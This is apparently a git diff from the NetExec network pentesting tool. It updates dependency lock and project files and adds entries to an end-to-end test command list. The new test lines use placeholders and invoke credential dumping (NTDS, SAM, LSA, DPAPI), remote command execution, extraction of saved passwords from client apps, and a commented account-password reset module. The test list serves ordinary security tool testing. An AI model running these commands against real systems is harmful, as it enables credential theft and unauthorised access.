markers = "python_version == \"3.10\""
|
||||
files = [
|
||||
{file = "exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598"},
|
||||
{file = "exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
typing-extensions = {version = ">=4.6.0", markers = "python_version < \"3.13\""}
|
||||
|
||||
[package.extras]
|
||||
test = ["pytest (>=6)"]
|
||||
|
||||
[[package]]
|
||||
name = "flake8"
|
||||
version = "7.3.0"
|
||||
@@ -1095,7 +1076,7 @@ all = ["mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"]
|
||||
|
||||
[[package]]
|
||||
name = "impacket"
|
||||
version = "0.14.0.dev0+20260810.134619.243d64a6"
|
||||
version = "0.14.0.dev0+20261015.95810.75938fcb"
|
||||
description = "Network protocols Constructors and Dissectors"
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
@@ -1106,7 +1087,7 @@ develop = false
|
||||
[package.dependencies]
|
||||
charset_normalizer = "*"
|
||||
flask = ">=1.0"
|
||||
ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
|
||||
ldap3 = ">2.5.0,!=2.5.2,!=2.6"
|
||||
ldapdomaindump = ">=0.9.0"
|
||||
pyasn1 = ">=0.2.3"
|
||||
pyasn1_modules = "*"
|
||||
@@ -1119,7 +1100,7 @@ six = "*"
|
||||
type = "git"
|
||||
url = "https://github.com/fortra/impacket"
|
||||
reference = "HEAD"
|
||||
resolved_reference = "243d64a67599e24a1c5dd7eb3ff8667d2d5bc2fc"
|
||||
resolved_reference = "75938fcb0145b476250940d740f71394676288cb"
|
||||
|
||||
[[package]]
|
||||
name = "iniconfig"
|
||||
@@ -1188,7 +1169,7 @@ files = [
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
cryptography = ">=3.1,<3.4.0 || >3.4.0"
|
||||
cryptography = ">=3.1,!=3.4.0"
|
||||
|
||||
[package.extras]
|
||||
dev = ["black", "isort", "mypy", "types-freezegun"]
|
||||
@@ -1223,7 +1204,7 @@ files = [
|
||||
|
||||
[package.dependencies]
|
||||
dnspython = "*"
|
||||
ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
|
||||
ldap3 = ">2.5.0,!=2.5.2,!=2.6"
|
||||
|
||||
[[package]]
|
||||
name = "lsassy"
|
||||
@@ -1749,6 +1730,24 @@ files = [
|
||||
{file = "pefile-2024.8.26.tar.gz", hash = "sha256:3ff6c5d8b43e8c37bb6e6dd5085658d658a7a0bdcd20b6a07b1fcfc1c4e9d632"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pick"
|
||||
version = "2.6.0"
|
||||
description = "Pick an option in the terminal with a simple GUI"
|
||||
optional = false
|
||||
python-versions = ">=3.8"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "pick-2.6.0-py3-none-any.whl", hash = "sha256:2acd5cad09be96398fba3b8be89454929de7b05362e01c69d94a05801820871f"},
|
||||
{file = "pick-2.6.0.tar.gz", hash = "sha256:f24434a845ae9265ebf7657fc224b9a203ac75aa576b568e061484a72e27be82"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
windows-curses = {version = ">=2.2.0", markers = "platform_system == \"Windows\""}
|
||||
|
||||
[package.extras]
|
||||
blessed = ["blessed (>=1.17.0)"]
|
||||
|
||||
[[package]]
|
||||
name = "pillow"
|
||||
version = "12.3.0"
|
||||
@@ -2433,11 +2432,9 @@ files = [
|
||||
|
||||
[package.dependencies]
|
||||
colorama = {version = "*", markers = "sys_platform == \"win32\""}
|
||||
exceptiongroup = {version = ">=1.0.0rc8", markers = "python_version < \"3.11\""}
|
||||
iniconfig = "*"
|
||||
packaging = "*"
|
||||
pluggy = ">=0.12,<2.0"
|
||||
tomli = {version = ">=1.0.0", markers = "python_version < \"3.11\""}
|
||||
|
||||
[package.extras]
|
||||
testing = ["argcomplete", "attrs (>=19.2.0)", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "setuptools", "xmlschema"]
|
||||
@@ -2586,7 +2583,7 @@ files = [
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
click = ">=6.7,<7.0 || >7.0"
|
||||
click = ">=6.7,!=7.0"
|
||||
pip = ">=9.0.3"
|
||||
setuptools = "*"
|
||||
|
||||
@@ -2790,64 +2787,6 @@ files = [
|
||||
{file = "terminaltables3-4.0.0.tar.gz", hash = "sha256:4e3eefe209aa89005a0a34d1525739424569729ee29b5e64a8dd51c5ebdab77f"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "tomli"
|
||||
version = "2.4.1"
|
||||
description = "A lil' TOML parser"
|
||||
optional = false
|
||||
python-versions = ">=3.8"
|
||||
groups = ["dev"]
|
||||
markers = "python_version == \"3.10\""
|
||||
files = [
|
||||
{file = "tomli-2.4.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f8f0fc26ec2cc2b965b7a3b87cd19c5c6b8c5e5f436b984e85f486d652285c30"},
|
||||
{file = "tomli-2.4.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4ab97e64ccda8756376892c53a72bd1f964e519c77236368527f758fbc36a53a"},
|
||||
{file = "tomli-2.4.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96481a5786729fd470164b47cdb3e0e58062a496f455ee41b4403be77cb5a076"},
|
||||
{file = "tomli-2.4.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5a881ab208c0baf688221f8cecc5401bd291d67e38a1ac884d6736cbcd8247e9"},
|
||||
{file = "tomli-2.4.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:47149d5bd38761ac8be13a84864bf0b7b70bc051806bc3669ab1cbc56216b23c"},
|
||||
{file = "tomli-2.4.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ec9bfaf3ad2df51ace80688143a6a4ebc09a248f6ff781a9945e51937008fcbc"},
|
||||
{file = "tomli-2.4.1-cp311-cp311-win32.whl", hash = "sha256:ff2983983d34813c1aeb0fa89091e76c3a22889ee83ab27c5eeb45100560c049"},
|
||||
{file = "tomli-2.4.1-cp311-cp311-win_amd64.whl", hash = "sha256:5ee18d9ebdb417e384b58fe414e8d6af9f4e7a0ae761519fb50f721de398dd4e"},
|
||||
{file = "tomli-2.4.1-cp311-cp311-win_arm64.whl", hash = "sha256:c2541745709bad0264b7d4705ad453b76ccd191e64aa6f0fc66b69a293a45ece"},
|
||||
{file = "tomli-2.4.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c742f741d58a28940ce01d58f0ab2ea3ced8b12402f162f4d534dfe18ba1cd6a"},
|
||||
{file = "tomli-2.4.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7f86fd587c4ed9dd76f318225e7d9b29cfc5a9d43de44e5754db8d1128487085"},
|
||||
{file = "tomli-2.4.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ff18e6a727ee0ab0388507b89d1bc6a22b138d1e2fa56d1ad494586d61d2eae9"},
|
||||
{file = "tomli-2.4.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:136443dbd7e1dee43c68ac2694fde36b2849865fa258d39bf822c10e8068eac5"},
|
||||
{file = "tomli-2.4.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:5e262d41726bc187e69af7825504c933b6794dc3fbd5945e41a79bb14c31f585"},
|
||||
{file = "tomli-2.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:5cb41aa38891e073ee49d55fbc7839cfdb2bc0e600add13874d048c94aadddd1"},
|
||||
{file = "tomli-2.4.1-cp312-cp312-win32.whl", hash = "sha256:da25dc3563bff5965356133435b757a795a17b17d01dbc0f42fb32447ddfd917"},
|
||||
{file = "tomli-2.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:52c8ef851d9a240f11a88c003eacb03c31fc1c9c4ec64a99a0f922b93874fda9"},
|
||||
{file = "tomli-2.4.1-cp312-cp312-win_arm64.whl", hash = "sha256:f758f1b9299d059cc3f6546ae2af89670cb1c4d48ea29c3cacc4fe7de3058257"},
|
||||
{file = "tomli-2.4.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:36d2bd2ad5fb9eaddba5226aa02c8ec3fa4f192631e347b3ed28186d43be6b54"},
|
||||
{file = "tomli-2.4.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:eb0dc4e38e6a1fd579e5d50369aa2e10acfc9cace504579b2faabb478e76941a"},
|
||||
{file = "tomli-2.4.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c7f2c7f2b9ca6bdeef8f0fa897f8e05085923eb091721675170254cbc5b02897"},
|
||||
{file = "tomli-2.4.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f3c6818a1a86dd6dca7ddcaaf76947d5ba31aecc28cb1b67009a5877c9a64f3f"},
|
||||
{file = "tomli-2.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d312ef37c91508b0ab2cee7da26ec0b3ed2f03ce12bd87a588d771ae15dcf82d"},
|
||||
{file = "tomli-2.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51529d40e3ca50046d7606fa99ce3956a617f9b36380da3b7f0dd3dd28e68cb5"},
|
||||
{file = "tomli-2.4.1-cp313-cp313-win32.whl", hash = "sha256:2190f2e9dd7508d2a90ded5ed369255980a1bcdd58e52f7fe24b8162bf9fedbd"},
|
||||
{file = "tomli-2.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:8d65a2fbf9d2f8352685bc1364177ee3923d6baf5e7f43ea4959d7d8bc326a36"},
|
||||
{file = "tomli-2.4.1-cp313-cp313-win_arm64.whl", hash = "sha256:4b605484e43cdc43f0954ddae319fb75f04cc10dd80d830540060ee7cd0243cd"},
|
||||
{file = "tomli-2.4.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:fd0409a3653af6c147209d267a0e4243f0ae46b011aa978b1080359fddc9b6cf"},
|
||||
{file = "tomli-2.4.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a120733b01c45e9a0c34aeef92bf0cf1d56cfe81ed9d47d562f9ed591a9828ac"},
|
||||
{file = "tomli-2.4.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:559db847dc486944896521f68d8190be1c9e719fced785720d2216fe7022b662"},
|
||||
{file = "tomli-2.4.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:01f520d4f53ef97964a240a035ec2a869fe1a37dde002b57ebc4417a27ccd853"},
|
||||
{file = "tomli-2.4.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7f94b27a62cfad8496c8d2513e1a222dd446f095fca8987fceef261225538a15"},
|
||||
{file = "tomli-2.4.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ede3e6487c5ef5d28634ba3f31f989030ad6af71edfb0055cbbd14189ff240ba"},
|
||||
{file = "tomli-2.4.1-cp314-cp314-win32.whl", hash = "sha256:3d48a93ee1c9b79c04bb38772ee1b64dcf18ff43085896ea460ca8dec96f35f6"},
|
||||
{file = "tomli-2.4.1-cp314-cp314-win_amd64.whl", hash = "sha256:88dceee75c2c63af144e456745e10101eb67361050196b0b6af5d717254dddf7"},
|
||||
{file = "tomli-2.4.1-cp314-cp314-win_arm64.whl", hash = "sha256:b8c198f8c1805dc42708689ed6864951fd2494f924149d3e4bce7710f8eb5232"},
|
||||
{file = "tomli-2.4.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:d4d8fe59808a54658fcc0160ecfb1b30f9089906c50b23bcb4c69eddc19ec2b4"},
|
||||
{file = "tomli-2.4.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7008df2e7655c495dd12d2a4ad038ff878d4ca4b81fccaf82b714e07eae4402c"},
|
||||
{file = "tomli-2.4.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1d8591993e228b0c930c4bb0db464bdad97b3289fb981255d6c9a41aedc84b2d"},
|
||||
{file = "tomli-2.4.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:734e20b57ba95624ecf1841e72b53f6e186355e216e5412de414e3c51e5e3c41"},
|
||||
{file = "tomli-2.4.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8a650c2dbafa08d42e51ba0b62740dae4ecb9338eefa093aa5c78ceb546fcd5c"},
|
||||
{file = "tomli-2.4.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:504aa796fe0569bb43171066009ead363de03675276d2d121ac1a4572397870f"},
|
||||
{file = "tomli-2.4.1-cp314-cp314t-win32.whl", hash = "sha256:b1d22e6e9387bf4739fbe23bfa80e93f6b0373a7f1b96c6227c32bef95a4d7a8"},
|
||||
{file = "tomli-2.4.1-cp314-cp314t-win_amd64.whl", hash = "sha256:2c1c351919aca02858f740c6d33adea0c5deea37f9ecca1cc1ef9e884a619d26"},
|
||||
{file = "tomli-2.4.1-cp314-cp314t-win_arm64.whl", hash = "sha256:eab21f45c7f66c13f2a9e0e1535309cee140182a9cdae1e041d02e47291e8396"},
|
||||
{file = "tomli-2.4.1-py3-none-any.whl", hash = "sha256:0d85819802132122da43cb86656f8d1f8c6587d54ae7dcaf30e90533028b49fe"},
|
||||
{file = "tomli-2.4.1.tar.gz", hash = "sha256:7c7e1a961a0b2f2472c1ac5b69affa0ae1132c39adcb67aba98568702b9cc23f"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "tqdm"
|
||||
version = "4.70.0"
|
||||
@@ -2875,12 +2814,11 @@ version = "4.16.0"
|
||||
description = "Backported and Experimental Type Hints for Python 3.9+"
|
||||
optional = false
|
||||
python-versions = ">=3.9"
|
||||
groups = ["main", "dev"]
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "typing_extensions-4.16.0-py3-none-any.whl", hash = "sha256:481caa481374e813c1b176ada14e97f1f67a4539ce9cfeb3f350d78d6370c2e8"},
|
||||
{file = "typing_extensions-4.16.0.tar.gz", hash = "sha256:dc983d19a509c94dba722ee6abd33940f7c05a89e243c47e907eb4db6f1a43e5"},
|
||||
]
|
||||
markers = {dev = "python_version == \"3.10\""}
|
||||
|
||||
[[package]]
|
||||
name = "typing-inspection"
|
||||
@@ -2975,6 +2913,35 @@ files = [
|
||||
[package.dependencies]
|
||||
cryptography = ">=38.0.1"
|
||||
|
||||
[[package]]
|
||||
name = "windows-curses"
|
||||
version = "2.4.2"
|
||||
description = "Support for the standard curses module on Windows"
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
groups = ["main"]
|
||||
markers = "platform_system == \"Windows\""
|
||||
files = [
|
||||
{file = "windows_curses-2.4.2-cp310-cp310-win32.whl", hash = "sha256:fb55b40df1dd8633f431307f204293ca2a0b4f928927490509f1bf68beef3cfe"},
|
||||
{file = "windows_curses-2.4.2-cp310-cp310-win_amd64.whl", hash = "sha256:0ff2a0884cb78d48e15eea1e274f73c1f5a780a4b872357724c17b39de75c996"},
|
||||
{file = "windows_curses-2.4.2-cp311-cp311-win32.whl", hash = "sha256:ecf7af9c97002af661d3e47b9c5eb31cdb7629a032adcdab46530efea8ba1864"},
|
||||
{file = "windows_curses-2.4.2-cp311-cp311-win_amd64.whl", hash = "sha256:03c4ef0095ab8212ed964236d51b4d8c815f302c5a7de94831dae468f05ce333"},
|
||||
{file = "windows_curses-2.4.2-cp312-cp312-win32.whl", hash = "sha256:7ec4629685add716d494e8fbdd0b83485de726e9deeda57d30e742c77a32a156"},
|
||||
{file = "windows_curses-2.4.2-cp312-cp312-win_amd64.whl", hash = "sha256:df782859176f9e8142618e4966d6cee7a53a8b1c819faeb6e606a60fa4f8972a"},
|
||||
{file = "windows_curses-2.4.2-cp313-cp313-win32.whl", hash = "sha256:248bf3f1d973e92ca193b1ea8a626ec7f81a66be6f6d6c5e31ff82056453678d"},
|
||||
{file = "windows_curses-2.4.2-cp313-cp313-win_amd64.whl", hash = "sha256:1bf3d0c902374b6c430a954adcb686a5ecd7a31fc4195d31136385b5c1bea925"},
|
||||
{file = "windows_curses-2.4.2-cp314-cp314-win32.whl", hash = "sha256:a970bf067b3126251423b4da051ef8c1c77acf6294ec96a7d6de7f6b9e5c27a0"},
|
||||
{file = "windows_curses-2.4.2-cp314-cp314-win_amd64.whl", hash = "sha256:6c22cb0310500dfbfe54c76354e37070e300d5473596d48ac4f9c65b2d578b6f"},
|
||||
{file = "windows_curses-2.4.2-cp36-cp36m-win32.whl", hash = "sha256:aa1b97c94882ac0c0019a0dcbb9b57a3f751e166e0ed6d99230e5d77bfb7f2b5"},
|
||||
{file = "windows_curses-2.4.2-cp36-cp36m-win_amd64.whl", hash = "sha256:f03193397e20e9f86d5a661c63c01d305d63ffcefc2bca46e1881f2c06af2a38"},
|
||||
{file = "windows_curses-2.4.2-cp37-cp37m-win32.whl", hash = "sha256:6ff56a1cc6410cb7600e5af7c01178d534ca704f9bc91da433719fccbe7c26c6"},
|
||||
{file = "windows_curses-2.4.2-cp37-cp37m-win_amd64.whl", hash = "sha256:cc890992a9a554b9e39354db672bd2b74110dd5ed7df0386a9c2d2956e964130"},
|
||||
{file = "windows_curses-2.4.2-cp38-cp38-win32.whl", hash = "sha256:3a2ece436fa601d71c82f02aa5cf829692ebf77075c64d94af5dfd4a13f31166"},
|
||||
{file = "windows_curses-2.4.2-cp38-cp38-win_amd64.whl", hash = "sha256:e716deaff73bbc7336769bdbf2c2b1c4f9ed0743ed6686927af134e7e6f3a699"},
|
||||
{file = "windows_curses-2.4.2-cp39-cp39-win32.whl", hash = "sha256:45b1a9cb17712f78ab4a6e9456bd46df35f96f880c1e814f8e0c6b4511a7e89c"},
|
||||
{file = "windows_curses-2.4.2-cp39-cp39-win_amd64.whl", hash = "sha256:9de1714af3effdffb3a048dff691c1c1d36c289b8f765c96f148a3dcb9f5984c"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "xmltodict"
|
||||
version = "1.0.4"
|
||||
@@ -2992,5 +2959,5 @@ test = ["pytest", "pytest-cov"]
|
||||
|
||||
[metadata]
|
||||
lock-version = "2.1"
|
||||
python-versions = ">=3.10,<4.0"
|
||||
content-hash = "0d14ba58153ca84c0a373c8d9180f9d864bc600cf1f67fdabf680f338265172d"
|
||||
python-versions = ">=3.11,<4.0"
|
||||
content-hash = "f3bdd08f336195dcad587423689f837cf2c8cabddf46358bb8a7f279512d4f65"
|
||||
+6
-10
@@ -3,7 +3,7 @@ name = "netexec"
|
||||
dynamic = ["version"]
|
||||
description = "The Network Execution tool"
|
||||
readme = "README.md"
|
||||
requires-python = ">=3.10,<4.0"
|
||||
requires-python = ">=3.11,<4.0"
|
||||
license = { text = "BSD-2-Clause" }
|
||||
authors = [
|
||||
{ name = "Marshall Hallenbeck", email = "[email protected]" },
|
||||
@@ -17,14 +17,14 @@ classifiers = [
|
||||
"Topic :: Security"
|
||||
]
|
||||
dependencies = [
|
||||
"aardwolf>=0.2.8",
|
||||
"aardwolf>=0.2.16",
|
||||
"argcomplete>=3.1.4",
|
||||
"asyauth>=0.0.20",
|
||||
"beautifulsoup4>=4.11,<5",
|
||||
"bloodhound-ce>=1.8.0",
|
||||
"certihound>=0.1.1",
|
||||
"cryptography>=42.0.8",
|
||||
"dploot>=3.2.2,<4.0.0",
|
||||
"dploot>=4.0.0",
|
||||
"dsinternals>=1.2.4",
|
||||
"jwt>=1.3.1",
|
||||
"lsassy>=3.1.11",
|
||||
@@ -47,7 +47,7 @@ dependencies = [
|
||||
"terminaltables3>=4.0.0",
|
||||
"xmltodict>=0.13.0",
|
||||
# Git Dependencies
|
||||
"certipy-ad @ git+https://github.com/Pennyw0rth/Certipy",
|
||||
"certipy-nxc>=5.1.0.post1",
|
||||
"impacket @ git+https://github.com/fortra/impacket",
|
||||
"pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient",
|
||||
]
|
||||
@@ -98,14 +98,10 @@ dev = [
|
||||
# malicious or compromised releases before they are selected during resolution.
|
||||
[tool.uv]
|
||||
exclude-newer = "1 day"
|
||||
# Temporary: certipy-nxc 5.1.0.post1 was published 2026-10-14, remove once it is older than 1 day
|
||||
exclude-newer-package = { certipy-nxc = "2026-10-14T17:00:00Z" }
|
||||
|
||||
[tool.ruff]
|
||||
target-version = "py310"
|
||||
exclude = [
|
||||
".bzr", ".direnv", ".eggs", ".git", ".git-rewrite", ".hg", ".mypy_cache",
|
||||
".nox", ".pants.d", ".pytype", ".ruff_cache", ".svn", ".tox", ".venv",
|
||||
"__pypackages__", "_build", "buck-out", "build", "dist", "node_modules", "venv"
|
||||
]
|
||||
preview = true
|
||||
|
||||
[tool.ruff.lint]
|
||||
|
||||
Binary file not shown.
+41
-1
@@ -31,11 +31,13 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam --his
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --history
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --enabled
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --enabled --history
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --kerberos-keys
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --trust-keys
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --just-trust-keys
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm wmi
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --list-snapshots
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig --exec-method atexec
|
||||
@@ -195,6 +197,8 @@ netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an e
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --list-snapshots
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi-namespace root/cimv2
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x whoami
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm
|
||||
##### WMI Modules
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler
|
||||
@@ -206,9 +210,19 @@ netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netc
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bitlocker
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw -o TARGET=SAM,LSA,NTDS
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc -o NO_REMOTEOPS=True
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wam
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi
|
||||
##### LDAP
|
||||
netexec {DNS} ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --simple-bind
|
||||
netexec ldap TARGET_HOST --pfx-cert TEST_PFX_FILE --schannel
|
||||
netexec ldap TARGET_HOST --pfx-cert TEST_PFX_FILE --schannel --port 636
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users-export /tmp/userlistOutputFilename.txt
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --groups
|
||||
@@ -228,10 +242,12 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dc-list
|
||||
##### LDAP Modules
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M adcs
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M certipy-find
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M daclread -o TARGET=LOGIN_USERNAME ACTION=read
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dns-nonsecure
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-desc-users
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-info-users
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M tombstone
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-network
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M groupmembership -o USER=LOGIN_USERNAME
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M laps
|
||||
@@ -256,6 +272,7 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-
|
||||
#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=remove DEVICE_ID=SHADOW_CREDS_DEVICE_ID
|
||||
# resetnightmare resets a real account password with no restore and needs a controlled account with GenericWrite on its UPN + an unpatched DC, run manually, not in CI
|
||||
#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M resetnightmare -o TARGET=TARGET_ACCOUNT NEW_PASSWORD=Password123! UPN_USER=CONTROLLED_ACCOUNT UPN_PASSWORD=Password1
|
||||
#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M resetnightmare -o TARGET=TARGET_ACCOUNT NEW_PASSWORD=Password123! UPN_USER=CONTROLLED_ACCOUNT UPN_NTHASH=31d6cfe0d16ae931b73c59d7e0c089c0
|
||||
##### WINRM
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
|
||||
@@ -278,6 +295,14 @@ netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-p
|
||||
